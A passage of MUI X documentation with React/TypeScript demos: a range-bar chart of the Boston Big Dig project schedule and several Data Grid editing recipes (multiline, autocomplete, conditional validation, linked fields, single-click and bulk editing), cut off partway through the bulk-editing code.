        <ChartsOverlay />
        <ChartsAxisHighlight />
      </g>
      <ChartsAxis />
      <ChartsClipPath id={clipPathId} />
    </ChartsSurface>
    <ChartsTooltip />
  </ChartsWrapper>
</ChartDataProviderPremium>
```

In the example below, we follow a similar pattern and create a project schedule chart using range bars to represent task durations.

```tsx
import Stack from '@mui/material/Stack';
import Typography from '@mui/material/Typography';
import { RangeBarPlot, RangeBarSeries } from '@mui/x-charts-premium/BarChartPremium';
import { ChartsXAxis } from '@mui/x-charts/ChartsXAxis';
import { ChartsYAxis } from '@mui/x-charts/ChartsYAxis';
import { ChartsClipPath } from '@mui/x-charts/ChartsClipPath';
import * as React from 'react';
import { useDataset } from '@mui/x-charts/hooks';
import { useTheme, styled } from '@mui/system';
import {
  ChartsTooltipContainer,
  useAxesTooltip,
  useItemTooltip,
} from '@mui/x-charts/ChartsTooltip';
import { ChartsAxisHighlight } from '@mui/x-charts/ChartsAxisHighlight';
import { ScatterValueType, XAxis, YAxis } from '@mui/x-charts/models';
import { rainbowSurgePalette } from '@mui/x-charts/colorPalettes';
import { ChartsWrapper } from '@mui/x-charts-pro/ChartsWrapper';
import { ChartsSurface } from '@mui/x-charts-pro/ChartsSurface';
import { ScatterPlot, ScatterSeries } from '@mui/x-charts/ScatterChart';
import { ChartDataProviderPremium } from '@mui/x-charts-premium/ChartDataProviderPremium';

const importantHappeningsLabels = [
  'Exploratory archaeology digs begin.',
  'South Boston Haul Road opens.',
  'New Broadway Bridge opens.\nLeverett Circle Connector Bridge opens.',
  'Leonard P. Zakim Bunker Hill Bridge completed.',
  'I-90 Connector from South Boston to Rt. 1A in East Boston opens in January.\nI-93 Northbound opens in March.\nI-93 Southbound opens in December.',
  'Tunnel from Storrow Drive to Leverett Circle Connector opens.',
  [
    'Full opening of I-93 South.',
    'Opening of Dewey Square Tunnel, including new entrance and exit ramps.',
    'Opening of the two cantilevered lanes on Leonard P. Zakim Bunker Hill Bridge.',
    'Opening of permanent ramps and roadways at I-90/I-93 Interchange and in other areas.',
  ].join('\n'),
  'Spectacle Island Park opens to the public.',
  'Restoration of Boston city streets.',
];
const importantHappenings = [
  { x: 1988, y: 3 },
  { x: 1993, y: 4 },
  { x: 1999, y: 5 },
  { x: 2002, y: 5 },
  { x: 2003, y: 5 },
  { x: 2004, y: 6 },
  { x: 2005, y: 6 },
  { x: 2006, y: 7 },
  { x: 2007, y: 8 },
] satisfies ScatterValueType[];

// Source: https://www.mass.gov/info-details/the-big-dig-project-background
const bigDigDataset = [
  {
    phase: 1,
    name: 'Conception & Initial Planning',
    startYear: 1970,
    endYear: 1982,
    duration: '~10 years',
    keyMilestones: [
      'Concept development to address Central Artery congestion',
      'Federal Highway Administration involvement',
    ],
  },
  {
    phase: 2,
    name: 'Planning & Federal Approval',
    startYear: 1982,
    endYear: 1987,
    duration: '5 years',
    keyMilestones: [
      '1982: Official planning begins',
      'Environmental Impact Statement preparation',
      '1985: Final EIS approval by FHWA',
      'April 1987: Congress approves federal funding and project scope',
    ],
  },
  {
    phase: 3,
    name: 'Design Development',
    startYear: 1987,
    endYear: 1991,
    duration: '4 years',
    keyMilestones: [
      'Detailed engineering and design work',
      'Permits and approvals',
      'Contract procurement preparation',
      'Route and interchange finalization',
    ],
  },
  {
    phase: 4,
    name: 'Ted Williams Tunnel Construction',
    startYear: 1991,
    endYear: 1995,
    duration: '4 years',
    keyMilestones: [
      'December 19, 1991: Official groundbreaking',
      'Underwater tunnel sections (steel tubes lowered by barges)',
      'December 1995: Ted Williams Tunnel opens (I-90 to Logan Airport)',
    ],
  },
  {
    phase: 5,
    name: 'Major Underground Construction',
    startYear: 1995,
    endYear: 2003,
    duration: '8 years',
    keyMilestones: [
      'Central Artery tunnel excavation',
      'Tunnel-jacking operations (freezing soil beneath rail lines)',
      'Bridge construction (Zakim Bunker Hill Bridge)',
      'Four major highway interchanges',
    ],
  },
  {
    phase: 6,
    name: 'Systems Installation & Testing',
    startYear: 2003,
    endYear: 2005,
    duration: '2-3 years',
    keyMilestones: [
      'Tunnel systems (ventilation, lighting, fire safety)',
      'Traffic management systems (1,400+ loop detectors, 430 CCTV cameras)',
      'Operations Control Center setup',
    ],
  },
  {
    phase: 7,
    name: 'Final Construction & Opening',
    startYear: 2005,
    endYear: 2006,
    duration: '1-2 years',
    keyMilestones: [
      'January 13, 2006: Final ramp opens (Exit 20B)',
      'Elevated highway demolition begins',
      "O'Neill Tunnel dedication",
    ],
  },
  {
    phase: 8,
    name: 'Rose Kennedy Greenway Development',
    startYear: 2006,
    endYear: 2007,
    duration: '1-2 years',
    keyMilestones: [
      'Creation of 300+ acres of open space',
      'Park and public space development',
      'December 31, 2007: Official project completion',
    ],
  },
  {
    phase: 9,
    name: 'Claims Resolution & Final Closeout',
    startYear: 2007,
    endYear: 2008,
    duration: '1 year',
    keyMilestones: [
      'Legal settlements ($407M from Bechtel/Parsons Brinckerhoff)',
      'Documentation finalization',
      'Warranty period begins',
    ],
  },
];

const xAxis = [
  {
    id: 'x',
    scaleType: 'linear',
    valueFormatter: (value) => value.toString(),
    label: 'Year',
  },
] satisfies XAxis[];
const yAxis = [
  {
    id: 'y',
    scaleType: 'band',
    dataKey: 'phase',
    label: 'Project Phase',
    width: 40,
  },
] satisfies YAxis[];

export default function RangeBarProjectSchedule() {
  const clipPathId = React.useId();
  const theme = useTheme();
  const palette = rainbowSurgePalette(theme.palette.mode);
  const colors = [palette[4], palette[1], palette[0]];

  const series = [
    {
      type: 'rangeBar',
      datasetKeys: { start: 'startYear', end: 'endYear' },
      xAxisId: 'x',
      yAxisId: 'y',
      layout: 'horizontal',
      colorGetter: (data) => {
        if (data.dataIndex < 3) {
          return colors[0];
        }

        if (data.dataIndex < 8) {
          return colors[1];
        }

        return colors[2];
      },
    } satisfies RangeBarSeries,
    {
      type: 'scatter',
      data: importantHappenings,
      color: palette[2],
    } satisfies ScatterSeries,
  ];

  return (
    <ChartDataProviderPremium
      dataset={bigDigDataset}
      xAxis={xAxis}
      yAxis={yAxis}
      series={series}
      height={300}
    >
      <ChartsWrapper legendPosition={{ vertical: 'bottom' }}>
        <ChartsSurface>
          <ChartsXAxis />
          <ChartsYAxis />
          <ChartsClipPath id={clipPathId} />
          <g clipPath={`url(#${clipPathId})`}>
            <RangeBarPlot skipAnimation />
            <ScatterPlot />
            <ChartsAxisHighlight y="band" />
          </g>
          <ChartsTooltipContainer>
            <TooltipContent />
          </ChartsTooltipContainer>
        </ChartsSurface>
        <Legend
          series={[
            {
              label: 'Phases 1-3: Planning & Initial Construction',
              color: colors[0],
            },
            {
              label: 'Phases 4-8: Major Construction',
              color: colors[1],
            },
            {
              label: 'Phase 9: Finalization & Closeout',
              color: colors[2],
            },
          ]}
        />
      </ChartsWrapper>
    </ChartDataProviderPremium>
  );
}

const TooltipContainer = styled('div')(({ theme }) => ({
  background: theme.palette.background.paper,
  border: `1px solid ${theme.palette.divider}`,
  padding: theme.spacing(1),
  borderRadius: theme.shape.borderRadius,
}));

function TooltipContent() {
  const dataset = useDataset<typeof bigDigDataset>();
  const itemTooltipData = useItemTooltip();
  const axesTooltipData = useAxesTooltip();

  if (itemTooltipData) {
    return <HappeningTooltip />;
  }

  const dataIndex = axesTooltipData?.[0]?.dataIndex;

  if (dataIndex === undefined) {
    return null;
  }

  const phase = dataset![dataIndex];

  return (
    <TooltipContainer>
      <Typography>
        Phase {phase.phase}: <strong>{phase.name}</strong> ({phase.startYear} -{' '}
        {phase.endYear})
      </Typography>
      <Typography variant="body2">Key Milestones:</Typography>
      <ul>
        {phase.keyMilestones.map((milestone, index) => (
          <li key={index}>
            <Typography variant="body2">{milestone}</Typography>
          </li>
        ))}
      </ul>
    </TooltipContainer>
  );
}

function HappeningTooltip() {
  const tooltipData = useItemTooltip<'scatter'>();
  const dataIndex = tooltipData?.identifier.dataIndex;

  if (dataIndex === undefined) {
    return null;
  }

  const happening = importantHappenings[dataIndex];

  return (
    <TooltipContainer>
      <Typography fontWeight="bold">{happening.x}</Typography>
      <Typography>
        {importantHappeningsLabels[dataIndex].split('\n').map((line, index) => (
          <React.Fragment key={index}>
            <span>{line}</span>
            <br />
          </React.Fragment>
        ))}
      </Typography>
    </TooltipContainer>
  );
}

function Legend({ series }: { series: { label: string; color: string }[] }) {
  return (
    <Stack direction="row" flexWrap="wrap" columnGap={2} justifyContent="center">
      {series.map((aSeries, index) => (
        <Stack key={index} alignItems="center" direction="row" marginBottom={0.5}>
          <div
            style={{
              width: 16,
              height: 16,
              backgroundColor: aSeries.color,
              marginRight: 8,
              borderRadius: 4,
            }}
          />
          <Typography variant="caption">{aSeries.label}</Typography>
        </Stack>
      ))}
    </Stack>
  );
}

```

---

# Source: https://mui.com/x/react-data-grid/demos/real-time-data.md

# Data Grid - Real-time data demo

Real-time data updates in the Data Grid, using simulated market data to showcase live changes.

---

# Source: https://mui.com/x/react-data-grid/recipes-editing.md

# Data Grid - Editing recipes

Advanced grid customization recipes.

## Multiline editing

You can have columns with multiline text and edit them by creating a custom edit component.

In the demo below, the **Bio** column is composed of multiple lines.
To persist the changes, use <kbd><kbd class="key">Ctrl</kbd>+<kbd class="key">Enter</kbd></kbd> (or <kbd><kbd class="key">⌘ Command</kbd>+<kbd class="key">Enter</kbd></kbd> on macOS).

```tsx
import * as React from 'react';
import {
  DataGrid,
  GridColDef,
  GridRowModel,
  GridRenderEditCellParams,
  useGridApiContext,
  GridColTypeDef,
  GridCellEditStopReasons,
} from '@mui/x-data-grid';
import InputBase, { InputBaseProps } from '@mui/material/InputBase';
import Popper from '@mui/material/Popper';
import Paper from '@mui/material/Paper';
import {
  randomInt,
  randomUserName,
  randomArrayItem,
} from '@mui/x-data-grid-generator';

const lines = [
  'Lorem ipsum dolor sit amet, consectetur adipiscing elit.',
  'Aliquam dapibus, lorem vel mattis aliquet, purus lorem tincidunt mauris, in blandit quam risus sed ipsum.',
  'Maecenas non felis venenatis, porta velit quis, consectetur elit.',
  'Vestibulum commodo et odio a laoreet.',
  'Nullam cursus tincidunt auctor.',
  'Sed feugiat venenatis nulla, sit amet dictum nulla convallis sit amet.',
  'Nulla venenatis justo non felis vulputate, eu mollis metus ornare.',
  'Nam ullamcorper ligula id consectetur auctor.',
  'Phasellus et ultrices dui.',
  'Fusce facilisis egestas massa, et eleifend magna imperdiet et.',
  'Pellentesque ac metus velit.',
  'Vestibulum in massa nibh.',
  'Vestibulum pulvinar aliquam turpis, ac faucibus risus varius a.',
];

function isKeyboardEvent(event: any): event is React.KeyboardEvent {
  return !!event.key;
}

function EditTextarea(props: GridRenderEditCellParams<any, string>) {
  const { id, field, value, colDef, hasFocus } = props;
  const [valueState, setValueState] = React.useState(value);
  const [anchorEl, setAnchorEl] = React.useState<HTMLElement | null>();
  const [inputRef, setInputRef] = React.useState<HTMLInputElement | null>(null);
  const apiRef = useGridApiContext();

  React.useLayoutEffect(() => {
    if (hasFocus && inputRef) {
      inputRef.focus();
    }
  }, [hasFocus, inputRef]);

  const handleRef = React.useCallback((el: HTMLElement | null) => {
    setAnchorEl(el);
  }, []);

  const handleChange = React.useCallback<NonNullable<InputBaseProps['onChange']>>(
    (event) => {
      const newValue = event.target.value;
      setValueState(newValue);
      apiRef.current.setEditCellValue(
        { id, field, value: newValue, debounceMs: 200 },
        event,
      );
    },
    [apiRef, field, id],
  );

  return (
    <div style={{ position: 'relative', alignSelf: 'flex-start' }}>
      <div
        ref={handleRef}
        style={{
          height: 1,
          width: colDef.computedWidth,
          display: 'block',
          position: 'absolute',
          top: 0,
        }}
      />
      {anchorEl && (
        <Popper open anchorEl={anchorEl} placement="bottom-start">
          <Paper elevation={1} sx={{ p: 1, minWidth: colDef.computedWidth }}>
            <InputBase
              multiline
              rows={4}
              value={valueState}
              sx={{ textarea: { resize: 'both' }, width: '100%' }}
              onChange={handleChange}
              inputRef={(ref) => setInputRef(ref)}
            />
          </Paper>
        </Popper>
      )}
    </div>
  );
}

const multilineColumn: GridColTypeDef = {
  type: 'string',
  renderEditCell: (params) => <EditTextarea {...params} />,
};

const columns: GridColDef[] = [
  { field: 'id', headerName: 'ID' },
  { field: 'username', headerName: 'Name', width: 150 },
  { field: 'age', headerName: 'Age', width: 80, type: 'number' },
  {
    field: 'bio',
    headerName: 'Bio',
    width: 400,
    editable: true,
    ...multilineColumn,
  },
];

const rows: GridRowModel[] = [];

for (let i = 0; i < 50; i += 1) {
  const bio = [];

  for (let j = 0; j < randomInt(1, 7); j += 1) {
    bio.push(randomArrayItem(lines));
  }

  rows.push({
    id: i,
    username: randomUserName(),
    age: randomInt(10, 80),
    bio: bio.join(' '),
  });
}

export default function MultilineEditing() {
  return (
    <div style={{ height: 300, width: '100%' }}>
      <DataGrid
        rows={rows}
        columns={columns}
        onCellEditStop={(params, event) => {
          if (params.reason !== GridCellEditStopReasons.enterKeyDown) {
            return;
          }
          if (isKeyboardEvent(event) && !event.ctrlKey && !event.metaKey) {
            event.defaultMuiPrevented = true;
          }
        }}
      />
    </div>
  );
}

```

## Autocomplete editing

To enhance the editing experience for columns with many options, you can create a custom edit component using Material UI [`Autocomplete`](/material-ui/react-autocomplete/) component.
This allows users to search for desired values by typing while preserving keyboard navigation.

For a consistent editing experience, configure the Autocomplete with `openOnFocus` and set `autoFocus: true` on the HTML input element through the `slotProps`.
This ensures that when users enter edit mode, the Autocomplete automatically receives focus and displays the available options immediately.

The component integrates with the Data Grid's state management through the editing API:

- Use `apiRef.current.setEditCellValue()` to update the cell value when the user makes a selection
- Call `apiRef.current.stopCellEditMode()` to exit edit mode after a value is selected

```tsx
import * as React from 'react';
import {
  DataGrid,
  GridColDef,
  GridRenderEditCellParams,
  useGridApiContext,
} from '@mui/x-data-grid';
import Autocomplete, { AutocompleteProps } from '@mui/material/Autocomplete';
import Box from '@mui/material/Box';
import TextField from '@mui/material/TextField';

const countries = [
  'Argentina',
  'Australia',
  'Austria',
  'Belgium',
  'Brazil',
  'Canada',
  'China',
  'Egypt',
  'France',
  'Germany',
  'India',
  'Italy',
  'Japan',
  'Mexico',
  'Netherlands',
  'New Zealand',
  'Poland',
  'Portugal',
  'Russia',
  'South Africa',
  'South Korea',
  'Spain',
  'Switzerland',
  'United Kingdom',
  'United States',
];

function AutocompleteEditCell(props: GridRenderEditCellParams) {
  const { id, field, value, error } = props;
  const apiRef = useGridApiContext();

  const handleChange: NonNullable<
    AutocompleteProps<any, any, any, any>['onChange']
  > = React.useCallback(
    async (_: React.SyntheticEvent, newValue, reason) => {
      await apiRef.current.setEditCellValue({
        id,
        field,
        value: newValue,
      });

      if (reason !== 'clear') {
        // stop editing mode for actions other than clearing the value
        apiRef.current.stopCellEditMode({ id, field });
      }
    },
    [id, field, apiRef],
  );

  return (
    <Autocomplete
      value={value}
      onChange={handleChange}
      options={countries}
      openOnFocus
      fullWidth
      onKeyDown={(event) => {
        if (event.key === 'Enter') {
          // Prevent closing edit mode prematurely
          event.stopPropagation();
        }
        if (event.key === 'Escape') {
          apiRef.current.stopCellEditMode({ id, field, ignoreModifications: true });
        }
      }}
      renderInput={(params) => (
        <TextField
          {...params}
          error={error}
          slotProps={{
            input: {
              ...params.InputProps,
              autoFocus: true,
            },
          }}
        />
      )}
      sx={{
        fontSize: 'inherit',
        '& .MuiFormControl-root': {
          height: '100%',
        },
        '& .MuiOutlinedInput-root': {
          fontSize: 'inherit',
          paddingLeft: '9px',
          paddingTop: 0,
          paddingBottom: '1px', // to account for the editing cell 1px
        },
        '& .MuiOutlinedInput-root .MuiAutocomplete-input': {
          paddingLeft: 0,
        },
        '& .MuiOutlinedInput-notchedOutline': {
          display: 'none',
        },
      }}
      slotProps={{
        listbox: {
          sx: {
            fontSize: '0.875rem',
          },
        },
      }}
    />
  );
}

const rows = [
  { id: 1, country: countries[0] },
  { id: 2, country: countries[1] },
  { id: 3, country: countries[2] },
  { id: 4, country: countries[3] },
  { id: 5, country: countries[4] },
];

const columns: GridColDef[] = [
  {
    field: 'country',
    headerName: 'Country',
    width: 200,
    editable: true,
    renderEditCell: (params) => <AutocompleteEditCell {...params} />,
  },
];

export default function AutocompleteEditing() {
  return (
    <Box sx={{ height: 400, width: '100%' }}>
      <DataGrid rows={rows} columns={columns} />
    </Box>
  );
}

```

## Conditional validation

When all cells in a row are in edit mode, you can validate fields by comparing their values against one another.
To do this, start by adding the `preProcessEditCellProps` as explained in the [validation](/x/react-data-grid/editing/#validation) section.
When the callback is called, it will have an additional `otherFieldsProps` param containing the props from the other fields in the same row.
Use this param to check if the value from the current column is valid or not.
Return the modified `props` containing the error as you would for cell editing.
Once at least one field has the `error` attribute set to a truthy value, the row will not exit edit mode.

The following demo requires a value for the **Payment method** column only if the **Is paid?** column is checked:

```tsx
import { styled } from '@mui/material/styles';
import { DataGrid, GridColDef, GridRowsProp } from '@mui/x-data-grid';
import { randomPrice } from '@mui/x-data-grid-generator';

const StyledBox = styled('div')(({ theme }) => ({
  height: 300,
  width: '100%',
  '& .MuiDataGrid-cell--editing': {
    backgroundColor: 'rgb(255,215,115, 0.19)',
    color: '#1a3e72',
    '& .MuiInputBase-root': {
      height: '100%',
    },
  },
  '& .Mui-error': {
    backgroundColor: 'rgb(126,10,15, 0.1)',
    color: theme.palette.error.main,
    ...theme.applyStyles('dark', {
      backgroundColor: 'rgb(126,10,15, 0)',
    }),
  },
}));

const rows: GridRowsProp = [
  {
    id: 1,
    expense: 'Light bill',
    price: randomPrice(0, 1000),
    dueAt: new Date(2021, 6, 8),
    isPaid: false,
    paymentMethod: '',
  },
  {
    id: 2,
    expense: 'Rent',
    price: randomPrice(0, 1000),
    dueAt: new Date(2021, 7, 1),
    isPaid: false,
    paymentMethod: '',
  },
  {
    id: 3,
    expense: 'Car insurance',
    price: randomPrice(0, 1000),
    dueAt: new Date(2021, 7, 4),
    isPaid: true,
    paymentMethod: 'Wire transfer',
  },
];

export default function ConditionalValidationGrid() {
  const columns: GridColDef[] = [
    { field: 'expense', headerName: 'Expense', width: 160, editable: true },
    {
      field: 'price',
      headerName: 'Price',
      type: 'number',
      width: 120,
      editable: true,
    },
    {
      field: 'dueAt',
      headerName: 'Due at',
      type: 'date',
      width: 120,
      editable: true,
    },
    {
      field: 'isPaid',
      headerName: 'Is paid?',
      type: 'boolean',
      width: 140,
      editable: true,
    },
    {
      field: 'paymentMethod',
      headerName: 'Payment method',
      type: 'singleSelect',
      valueOptions: ['Credit card', 'Wire transfer', 'Cash'],
      width: 160,
      editable: true,
      preProcessEditCellProps: (params) => {
        const isPaidProps = params.otherFieldsProps!.isPaid;
        const hasError = isPaidProps.value && !params.props.value;
        return { ...params.props, error: hasError };
      },
    },
  ];

  return (
    <StyledBox>
      <DataGrid rows={rows} columns={columns} editMode="row" />
    </StyledBox>
  );
}

```

## Linked fields

The options available for one field may depend on the value of another field.
For instance, if the `singleSelect` column is used, you can provide a function to `valueOptions` returning the relevant options for the value selected in another field, as exemplified below.

```tsx
const columns: GridColDef[] = [
  {
    field: 'account',
    type: 'singleSelect',
    valueOptions: ({ row }) => {
      if (!row) {
        // The row is not available when filtering this column
        return ['Sales', 'Investments', 'Ads', 'Taxes', 'Payroll', 'Utilities'];
      }

      return row.type === 'Income' // Gets the value of the "type" field
        ? ['Sales', 'Investments', 'Ads']
        : ['Taxes', 'Payroll', 'Utilities'];
    },
  },
];
```

The code above is already enough to display different options in the **Account** column based on the value selected in the **Type** column.
The only task left is to reset the account once the type is changed.
This is needed because the previously selected account will not exist now in the options.
To solve that, you can create a custom edit component, reusing the built-in one, and pass a function to the `onValueChange` prop.
This function should call `apiRef.current.setEditCellValue()` to reset the value of the other field.

```tsx
const CustomTypeEditComponent = (props: GridEditSingleSelectCellProps) => {
  const apiRef = useGridApiContext();

  const handleValueChange = async () => {
    await apiRef.current.setEditCellValue({
      id: props.id,
      field: 'account',
      value: '',
    });
  };

  return <GridEditSingleSelectCell onValueChange={handleValueChange} {...props} />;
};
```

The demo below combines the steps shown above.
You can experiment with it by changing the value of any cell in the **Type** column.
The **Account** column is automatically updated with the correct options.

```tsx
import Box from '@mui/material/Box';
import {
  DataGrid,
  GridColDef,
  GridRowsProp,
  GridEditSingleSelectCell,
  GridEditSingleSelectCellProps,
  useGridApiContext,
} from '@mui/x-data-grid';
import { randomPrice } from '@mui/x-data-grid-generator';

const rows: GridRowsProp = [
  {
    id: 1,
    description: 'Light bill',
    value: randomPrice(0, 1000),
    type: 'Expense',
    account: 'Utilities',
  },
  {
    id: 3,
    description: 'Order #5',
    value: randomPrice(0, 1000),
    type: 'Income',
    account: 'Sales',
  },
  {
    id: 4,
    description: 'Google AdSense',
    value: randomPrice(0, 1000),
    type: 'Income',
    account: 'Ads',
  },
];

function CustomTypeEditComponent(props: GridEditSingleSelectCellProps) {
  const apiRef = useGridApiContext();

  const handleValueChange = async () => {
    await apiRef.current.setEditCellValue({
      id: props.id,
      field: 'account',
      value: '',
    });
  };

  return <GridEditSingleSelectCell onValueChange={handleValueChange} {...props} />;
}

export default function LinkedFieldsRowEditing() {
  const columns: GridColDef[] = [
    { field: 'description', headerName: 'Description', width: 160, editable: true },
    {
      field: 'value',
      headerName: 'Value',
      type: 'number',
      width: 120,
      editable: true,
    },
    {
      field: 'type',
      headerName: 'Type',
      type: 'singleSelect',
      valueOptions: ['Income', 'Expense'],
      width: 120,
      editable: true,
      renderEditCell: (params) => <CustomTypeEditComponent {...params} />,
    },
    {
      field: 'account',
      headerName: 'Account',
      type: 'singleSelect',
      valueOptions: ({ row }) => {
        if (!row) {
          return [
            'Sales',
            'Investments',
            'Ads',
            'Taxes',
            'Payroll',
            'Utilities',
            'Marketing',
          ];
        }

        return row.type === 'Income'
          ? ['Sales', 'Investments', 'Ads']
          : ['Taxes', 'Payroll', 'Utilities', 'Marketing'];
      },
      width: 140,
      editable: true,
    },
  ];

  return (
    <Box sx={{ width: '100%', height: 300 }}>
      <DataGrid rows={rows} columns={columns} editMode="row" />
    </Box>
  );
}

```

:::warning
The call to `apiRef.current.setEditCellValue()` returns a promise that must be awaited.
For instance, if the `singleSelect` column type is used, not awaiting will cause the other column to be rendered with a `value` that is not in the options.

```ts
const handleChange = async () => {
  await apiRef.current.setEditCellValue({
    id: props.id,
    field: 'account',
    value: '',
  });
};
```

:::

A similar behavior can be reproduced with cell editing.
Instead of `apiRef.current.setEditCellValue()`, the `rows` prop must be updated or `apiRef.current.updateRows()` be used.
Note that the `onCellEditStart` and `onCellEditStop` props also need to be used to revert the value of the cell changed, in case the user cancels the edit.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import {
  DataGrid,
  DataGridProps,
  GridRowModel,
  GridColDef,
  GridRowsProp,
  GridEditSingleSelectCell,
  GridEditSingleSelectCellProps,
  GridCellEditStopReasons,
} from '@mui/x-data-grid';
import { randomPrice } from '@mui/x-data-grid-generator';

const initialRows: GridRowsProp = [
  {
    id: 1,
    description: 'Light bill',
    value: randomPrice(0, 1000),
    type: 'Expense',
    account: 'Utilities',
  },
  {
    id: 3,
    description: 'Order #5',
    value: randomPrice(0, 1000),
    type: 'Income',
    account: 'Sales',
  },
  {
    id: 4,
    description: 'Google AdSense',
    value: randomPrice(0, 1000),
    type: 'Income',
    account: 'Ads',
  },
];

interface CustomTypeEditComponentProps extends GridEditSingleSelectCellProps {
  setRows: React.Dispatch<React.SetStateAction<readonly any[]>>;
}

function CustomTypeEditComponent(props: CustomTypeEditComponentProps) {
  const { setRows, ...other } = props;

  const handleValueChange = () => {
    setRows((prevRows) => {
      console.log(prevRows);
      return prevRows.map((row) =>
        row.id === props.id ? { ...row, account: null } : row,
      );
    });
  };

  return <GridEditSingleSelectCell onValueChange={handleValueChange} {...other} />;
}

export default function LinkedFieldsCellEditing() {
  const editingRow = React.useRef<GridRowModel | null>(null);
  const [rows, setRows] = React.useState(initialRows);

  const columns: GridColDef[] = [
    { field: 'description', headerName: 'Description', width: 160, editable: true },
    {
      field: 'value',
      headerName: 'Value',
      type: 'number',
      width: 120,
      editable: true,
    },
    {
      field: 'type',
      headerName: 'Type',
      type: 'singleSelect',
      valueOptions: ['Income', 'Expense'],
      width: 120,
      editable: true,
      renderEditCell: (params) => (
        <CustomTypeEditComponent setRows={setRows} {...params} />
      ),
    },
    {
      field: 'account',
      headerName: 'Account',
      type: 'singleSelect',
      valueOptions: ({ row }) => {
        if (!row) {
          return [
            'Sales',
            'Investments',
            'Ads',
            'Taxes',
            'Payroll',
            'Utilities',
            'Marketing',
          ];
        }

        return row.type === 'Income'
          ? ['Sales', 'Investments', 'Ads']
          : ['Taxes', 'Payroll', 'Utilities', 'Marketing'];
      },
      width: 140,
      editable: true,
    },
  ];

  const handleCellEditStart: DataGridProps['onCellEditStart'] = (params) => {
    editingRow.current = rows.find((row) => row.id === params.id) || null;
  };

  const handleCellEditStop: DataGridProps['onCellEditStop'] = (params) => {
    if (params.reason === GridCellEditStopReasons.escapeKeyDown) {
      setRows((prevRows) =>
        prevRows.map((row) =>
          row.id === editingRow.current?.id
            ? { ...row, account: editingRow.current?.account }
            : row,
        ),
      );
    }
  };

  const processRowUpdate: DataGridProps['processRowUpdate'] = (newRow) => {
    setRows((prevRows) =>
      prevRows.map((row) => (row.id === editingRow.current?.id ? newRow : row)),
    );
    return newRow;
  };

  return (
    <Box sx={{ width: '100%', height: 300 }}>
      <DataGrid
        rows={rows}
        columns={columns}
        onCellEditStart={handleCellEditStart}
        onCellEditStop={handleCellEditStop}
        processRowUpdate={processRowUpdate}
      />
    </Box>
  );
}

```

## Single click editing

By default, one of the ways to [enter the edit mode](/x/react-data-grid/editing/#start-editing) is by double-clicking a cell.
Using the [controlled mode](/x/react-data-grid/editing/#controlled-model) and listening to click events, you can also enter the edit mode with just a single click.
The following demo implements this behavior.

```tsx
import * as React from 'react';
import {
  DataGrid,
  GridCellModes,
  GridCellModesModel,
  GridCellParams,
  GridRowsProp,
  GridColDef,
} from '@mui/x-data-grid';
import {
  randomCreatedDate,
  randomTraderName,
  randomUpdatedDate,
} from '@mui/x-data-grid-generator';

const columns: GridColDef[] = [
  { field: 'name', headerName: 'Name', width: 180, editable: true },
  { field: 'age', headerName: 'Age', type: 'number', editable: true },
  {
    field: 'dateCreated',
    headerName: 'Date Created',
    type: 'date',
    width: 180,
    editable: true,
  },
  {
    field: 'lastLogin',
    headerName: 'Last Login',
    type: 'dateTime',
    width: 220,
    editable: true,
  },
];

const rows: GridRowsProp = [
  {
    id: 1,
    name: randomTraderName(),
    age: 25,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 2,
    name: randomTraderName(),
    age: 36,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 3,
    name: randomTraderName(),
    age: 19,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 4,
    name: randomTraderName(),
    age: 28,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 5,
    name: randomTraderName(),
    age: 23,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
];

export default function SingleClickEditing() {
  const [cellModesModel, setCellModesModel] = React.useState<GridCellModesModel>({});

  const handleCellClick = React.useCallback(
    (params: GridCellParams, event: React.MouseEvent) => {
      if (!params.isEditable) {
        return;
      }

      // Ignore portal
      if (
        (event.target as any).nodeType === 1 &&
        !event.currentTarget.contains(event.target as Element)
      ) {
        return;
      }

      setCellModesModel((prevModel) => {
        return {
          // Revert the mode of the other cells from other rows
          ...Object.keys(prevModel).reduce(
            (acc, id) => ({
              ...acc,
              [id]: Object.keys(prevModel[id]).reduce(
                (acc2, field) => ({
                  ...acc2,
                  [field]: { mode: GridCellModes.View },
                }),
                {},
              ),
            }),
            {},
          ),
          [params.id]: {
            // Revert the mode of other cells in the same row
            ...Object.keys(prevModel[params.id] || {}).reduce(
              (acc, field) => ({ ...acc, [field]: { mode: GridCellModes.View } }),
              {},
            ),
            [params.field]: { mode: GridCellModes.Edit },
          },
        };
      });
    },
    [],
  );

  const handleCellModesModelChange = React.useCallback(
    (newModel: GridCellModesModel) => {
      setCellModesModel(newModel);
    },
    [],
  );

  return (
    <div style={{ height: 300, width: '100%' }}>
      <DataGrid
        rows={rows}
        columns={columns}
        cellModesModel={cellModesModel}
        onCellModesModelChange={handleCellModesModelChange}
        onCellClick={handleCellClick}
      />
    </div>
  );
}

```

## Bulk editing

The Data Grid [Editing](/x/react-data-grid/editing/) API exposes [the `processRowUpdate` callback](/x/react-data-grid/editing/persistence/#the-processrowupdate-callback) which is commonly used to persist edits on per-row basis.
You can utilize this callback to batch edits locally and then choose to either persist or discard them in bulk.

The demo below stores edited and deleted rows in the `unsavedChangesRef`.
These changes are saved or discarded when the user clicks the **Save** or **Discard** buttons respectively.

```tsx
/* eslint-disable no-underscore-dangle */
import * as React from 'react';
import {
  DataGrid,
  GridRowId,
  GridValidRowModel,
  DataGridProps,
  useGridApiRef,
  GridActionsCellItem,
  GridColDef,
  gridClasses,
  GridActionsCell,
  GridRenderCellParams,
  useGridApiContext,
} from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';
import Button from '@mui/material/Button';
import DeleteIcon from '@mui/icons-material/Delete';
import RestoreIcon from '@mui/icons-material/Restore';
import SaveIcon from '@mui/icons-material/Save';
import { darken } from '@mui/material/styles';

const visibleFields = [
  'id',
  'commodity',
  'traderName',
  'traderEmail',
  'quantity',
  'filledQuantity',
];

interface UnsavedChanges {
  unsavedRows: Record<GridRowId, GridValidRowModel>;
  rowsBeforeChange: Record<GridRowId, GridValidRowModel>;
}

interface BulkEditingContextValue {
  unsavedChangesRef: React.RefObject<UnsavedChanges>;
  setHasUnsavedRows: (hasUnsavedRows: boolean) => void;
